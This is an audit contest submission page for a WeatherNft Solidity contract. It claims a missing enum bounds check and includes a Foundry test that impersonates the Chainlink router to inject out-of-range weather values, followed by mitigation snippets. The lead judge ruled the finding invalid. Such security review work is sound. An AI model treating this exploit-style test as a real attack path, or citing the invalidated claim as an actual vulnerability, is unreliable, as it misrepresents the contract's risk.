Weather Witness

First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Impact: medium
Likelihood: high
Invalid

WeatherNFT Invalid State Vulnerability PoC

[M-1] Invalid Weather State Injection (Missing Enum Bounds Check)

Description:

The WeatherNft contract does not properly validate the weather state values decoded from Chainlink Functions responses. An attacker can simulate or manipulate the response to include an out-of-bounds uint8 value that does not correspond to any valid entry in the Weather enum.

This can lead to inconsistent state, broken metadata rendering, or undefined behavior when attempting to use Weather values for URI lookups or logic decisions.

Risk:

Medium — While not directly economically exploitable, this can lead to unexpected UI behavior, NFT metadata corruption, or issues in external integrations depending on weather states.

Impact:

  • Arbitrary and invalid enum values stored for NFTs

  • Incorrect or broken tokenURI rendering

  • Potential front-end or metadata parser crashes

  • Misleading weather data representation

  • May affect indexing or filtering tools relying on valid states

Proof of Concept:

Click to expand PoC
// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;
import {Test, console} from "forge-std/Test.sol";
import {WeatherNft} from "src/WeatherNft.sol";
import {LinkTokenInterface} from "@chainlink/contracts/src/v0.8/shared/interfaces/LinkTokenInterface.sol";
import {Vm} from "forge-std/Vm.sol";
contract WeatherNftInvalidState is Test {
WeatherNft public weatherNft;
LinkTokenInterface public linkToken;
address public functionsRouter;
address public keeperRegistry;
address public keeperRegistrar;
address public user = makeAddr("user");
address public attacker = makeAddr("attacker");
function setUp() external {
weatherNft = WeatherNft(0x4fF356bB2125886d048038386845eCbde022E15e);
linkToken = LinkTokenInterface(0x0b9d5D9136855f6FEc3c0993feE6E9CE8a297846);
functionsRouter = 0xA9d587a00A31A52Ed70D6026794a8FC5E2F5dCb0;
keeperRegistry = weatherNft.s_keeperRegistry();
keeperRegistrar = weatherNft.s_keeperRegistrar();
vm.deal(user, 100 ether);
vm.deal(attacker, 100 ether);
deal(address(linkToken), user, 1000e18);
}
function test_invalidWeatherState() external {
// 1. User mints an NFT
string memory pincode = "125001";
string memory isoCode = "IN";
bool registerKeeper = true;
uint256 heartbeat = 1 hours;
uint256 initLinkDeposit = 5e18;
vm.startPrank(user);
linkToken.approve(address(weatherNft), initLinkDeposit);
uint256 mintPrice = weatherNft.s_currentMintPrice();
vm.recordLogs();
weatherNft.requestMintWeatherNFT{value: mintPrice}(pincode, isoCode, registerKeeper, heartbeat, initLinkDeposit);
vm.stopPrank();
bytes32 requestId = _getLastMintRequestId();
uint256 tokenId = weatherNft.s_tokenCounter();
// Complete the mint
vm.prank(functionsRouter);
weatherNft.handleOracleFulfillment(requestId, abi.encode(uint8(0)), ""); // SUNNY
vm.prank(user);
weatherNft.fulfillMintRequest(requestId);
// 2. Record initial state
uint8 initialWeather = uint8(weatherNft.s_tokenIdToWeather(tokenId));
console.log("Initial weather state:", initialWeather);
// 3. Attacker forces an update with an invalid weather state
vm.startPrank(attacker);
bytes memory performData = abi.encode(tokenId);
weatherNft.performUpkeep(performData);
bytes32 updateRequestId = _getLastUpdateRequestId();
// 4. Try to set an invalid weather state (e.g., 255)
vm.stopPrank();
vm.prank(functionsRouter);
weatherNft.handleOracleFulfillment(updateRequestId, abi.encode(uint8(255)), ""); // Invalid state
// 5. Verify the attack was successful
uint8 finalWeather = uint8(weatherNft.s_tokenIdToWeather(tokenId));
console.log("Final weather state:", finalWeather);
// The weather state should have changed to an invalid state
assertEq(finalWeather, 255, "Weather state should be invalid");
// 6. Try to force another update with another invalid state
vm.startPrank(attacker);
weatherNft.performUpkeep(performData);
updateRequestId = _getLastUpdateRequestId();
vm.stopPrank();
vm.prank(functionsRouter);
weatherNft.handleOracleFulfillment(updateRequestId, abi.encode(uint8(254)), ""); // Another invalid state
// 7. Verify the second attack was successful
finalWeather = uint8(weatherNft.s_tokenIdToWeather(tokenId));
console.log("Final weather state after second attack:", finalWeather);
// The weather state should have changed to another invalid state
assertEq(finalWeather, 254, "Weather state should be another invalid state");
}
function _getLastMintRequestId() internal returns (bytes32 reqId) {
Vm.Log[] memory logs = vm.getRecordedLogs();
for (uint256 i = logs.length; i > 0; i--) {
if (logs[i - 1].topics[0] == keccak256("WeatherNFTMintRequestSent(address,string,string,bytes32)")) {
(,,, reqId) = abi.decode(logs[i - 1].data, (address, string, string, bytes32));
break;
}
}
}
function _getLastUpdateRequestId() internal returns (bytes32 reqId) {
Vm.Log[] memory logs = vm.getRecordedLogs();
for (uint256 i = logs.length; i > 0; i--) {
if (logs[i - 1].topics[0] == keccak256("NftWeatherUpdateRequestSend(uint256,bytes32,uint256)")) {
(, reqId,) = abi.decode(logs[i - 1].data, (uint256, bytes32, uint256));
break;
}
}
}
}

Mitigation

  • Add validation for weather states:

function _validateWeatherState(uint8 state) internal pure {
require(state <= MAX_VALID_WEATHER_STATE, "Invalid weather state");
}

````Solidity
* Implement state transition checks:
```solidity
function \_isValidStateTransition(uint8 from, uint8 to) internal pure returns (bool) {
// Define valid state transitions
return validTransitions\[from]\[to];
}
  • Add events for state changes:

+ event WeatherStateChanged(uint256 indexed tokenId, uint8 from, uint8 to);
Updates

Appeal created

bube Lead Judge 5 days ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

[Invalid] Weather enum is not checked

The implementation to get the current weather is written in `GetWeather.js`. The `weather_enum` will be always in the expected range.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.